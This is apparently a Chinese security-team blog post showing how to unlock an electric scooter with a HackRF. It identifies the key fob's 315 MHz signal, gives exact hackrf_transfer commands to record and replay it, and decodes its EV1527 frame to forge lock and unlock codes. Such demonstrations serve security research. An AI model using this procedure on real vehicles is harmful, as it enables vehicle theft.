利用HackRF替代车钥匙解锁电动车
2022-9-25 00:1:10 Author: 白帽子(查看原文) 阅读量:69 收藏


0 攻击背景

本篇文章通过对电动车锁车信号进行分析,实现在没有钥匙的情况下,轻松开锁电动车,本文章中用的是公司小伙伴的电动车

系统:Ubuntu、OS
hardware:HackRF、同事的电动车
software:Gqrx、URH、GNU Radio

一般遥控模块的发射功率较小,信号频率大体为433MHz或315MHz,我通过两种方式获取了这辆电动车钥匙的频率,并利用URH实现信号重放

1 获取电动车频率

我们需要知道电动车钥匙的信号频率,使用到的硬件工具是HackRF,HackRF是一款软件定义的无线电外围设备,能够发送或接收1MHz至6GHz的无线电信号,是一种开源硬件平台,可用作USB外设或编程用于独立操作

这里有两种获取信号频率的方法,第一种方法是通过Gqrx扫描获取,第二种是通过查看这款电动车钥匙的晶振获取

1.1利用Gqrx扫描获取频率

Gqrx是一个开源软件定义的无线电接收器(SDR),由GNU和Qt图形工具包提供,在这里使用gqrx获取电动车钥匙信号频率,距离不能太远
下载:https://gqrx.dk/download
使用教程:https://gqrx.dk/doc/practical-tricks-and-tips#more-229

启动:在Terminal中输入gqrx

选择合适的设备,设置适合的Bandwidth(带宽)

长按电动车钥匙按键,可以看到信号的频率在315.056000Mhz左右

1.2查看晶振获取频率

可以通过判断晶振的参数来确定钥匙的频率,通过对该牌子的电动车钥匙进行研究得到频率为315M

2 信号重放

因为电动车钥匙对电动车每次发射的解锁关锁操作的信号都是一样的,所以我们要进行信号重放首先要对遥控信号进行采集
安装Hack RF驱动brew install hackrf,输入hackrf_info查看是否安装成功

hackrf_transfer Usage:
-r <filename> # Receive data into file.
-t <filename> # Transmit data from file.
-w # Receive data into file with WAV header and automatic name.
# This is for SDR# compatibility and may not work with other software.
[-f freq_hz] # Frequency in Hz [0MHz to 7250MHz].
[-i if_freq_hz] # Intermediate Frequency (IF) in Hz [2150MHz to 2750MHz].
[-o lo_freq_hz] # Front-end Local Oscillator (LO) frequency in Hz [84MHz to 5400MHz].
[-m image_reject] # Image rejection filter selection, 0=bypass, 1=low pass, 2=high pass.
[-a amp_enable] # RX/TX RF amplifier 1=Enable, 0=Disable.
[-p antenna_enable] # Antenna port power, 1=Enable, 0=Disable.
[-l gain_db] # RX LNA (IF) gain, 0-40dB, 8dB steps
[-g gain_db] # RX VGA (baseband) gain, 0-62dB, 2dB steps
[-x gain_db] # TX VGA (IF) gain, 0-47dB, 1dB steps
[-s sample_rate_hz] # Sample rate in Hz (8/10/12.5/16/20MHz, default 10MHz).
[-n num_samples] # Number of samples to transfer (default is unlimited).
[-c amplitude] # CW signal source mode, amplitude 0-127 (DC value to DAC).
[-b baseband_filter_bw_hz] # Set baseband filter bandwidth in MHz.
Possible values: 1.75/2.5/3.5/5/5.5/6/7/8/9/10/12/14/15/20/24/28MHz, default < sample_rate_hz.

长按电动车车钥匙进行信号收集

hackrf_transfer -r signal.raw -f 315920000 -g 16 -l 32 -a 1 -s 8000000 -b 4000000

进行信号重放,在Terminal输入以下命令

hackrf_transfer -t signal.raw -f 315920000 -x 47 -a 1 -s 8000000 -b 4000000

也可以借助URH进行信号的录制与重放,这种方法适用于很多设备
下载:https://github.com/jopohl/urh
首先选择Record signal(录制一个信号)

选择合适的设备、带宽、采样率等

点击进行信号录制,我们可以看出信号已经成功录制

进行信号重放

电动车解锁成功

3 信号分析

通过信号重放技术进行电动车开锁是需要提前录制好解锁信号进行的,我们可以分析一下如何在只有锁车信号的前提下进行解锁

首先使用URH分析一下信号内容,Modulation选择ASK,并获取数字信号

Modulation的几种选项:

ASK:幅度键控,按载波的幅度受到数字数据的调制而取不同的值

FSK:频移键控,按数字数据的值(0或1)调制载波的频率

PSK:相移键控,按照数字数据的值调制载波相位

载波的幅度有两种变化状态,分别对应二进制的‘0’和‘1’

我们获取其中一段数字信号为:

1110111011101110100010001000100010001000100011101000100011101000111011101000100011101000100010001

补齐syn位在后面添加0得倒:

11101110111011101000100010001000100010001000111010001000111010001110111010001000111010001000100010000000000000000000000000000000

1527码对应时序图

码型分为两种,‘1’与‘0’,‘0’码是一个高低电平宽度比为t∶3t的脉冲,而“1”码是一个高低电平宽度 比为3t∶t的脉冲,syn同步位为t∶31t

随便写一个py把数字信号通过1527解码得到除去SYN之前的24位是
111100000001001011001000

前20位每个钥匙都不相同,后4位是控制码对应于不同的功能

我们知道‘1000’为开锁,通过修改数据尝试进行重放发现‘0100’为锁车

用GNU Radio做个重放信号流图
GNU Radio是一个结合硬件用软件来定义无线电波发射和接收的方式,提供一个信号处理模块库,并通过建立一个流图把单个处理模块连接在一起形成一个无线电系统

在Ubuntu系统中下载:Terminal输入sudo apt-get install gnuradio=3.7.9.1-2ubuntu1
运行:Terminal输入gnuradio-companion

E

N

D

Tide安全团队正式成立于2019年1月,是新潮信息旗下以互联网攻防技术研究为目标的安全团队,团队致力于分享高质量原创文章、开源安全工具、交流安全技术,研究方向覆盖网络攻防、系统安全、Web安全、移动终端、安全开发、物联网/工控安全/AI安全等多个领域。

团队作为“省级等保关键技术实验室”先后与哈工大、齐鲁银行、聊城大学、交通学院等多个高校名企建立联合技术实验室,近三年来在网络安全技术方面开展研发项目60余项,获得各类自主知识产权30余项,省市级科技项目立项20余项,研究成果应用于产品核心技术研究、国家重点科技项目攻关、专业安全服务等。对安全感兴趣的小伙伴可以加入或关注我们。

我知道你在看


文章来源: http://mp.weixin.qq.com/s?__biz=MzAwMDQwNTE5MA==&mid=2650246364&idx=2&sn=675e19de2e43a3de42d101161af2c92b&chksm=82ea5775b59dde63bb7c6f7dae6d117cd86a2f32821968683d873f85c637e645071542f19dda#rd
如有侵权请联系:admin#unsafe.sh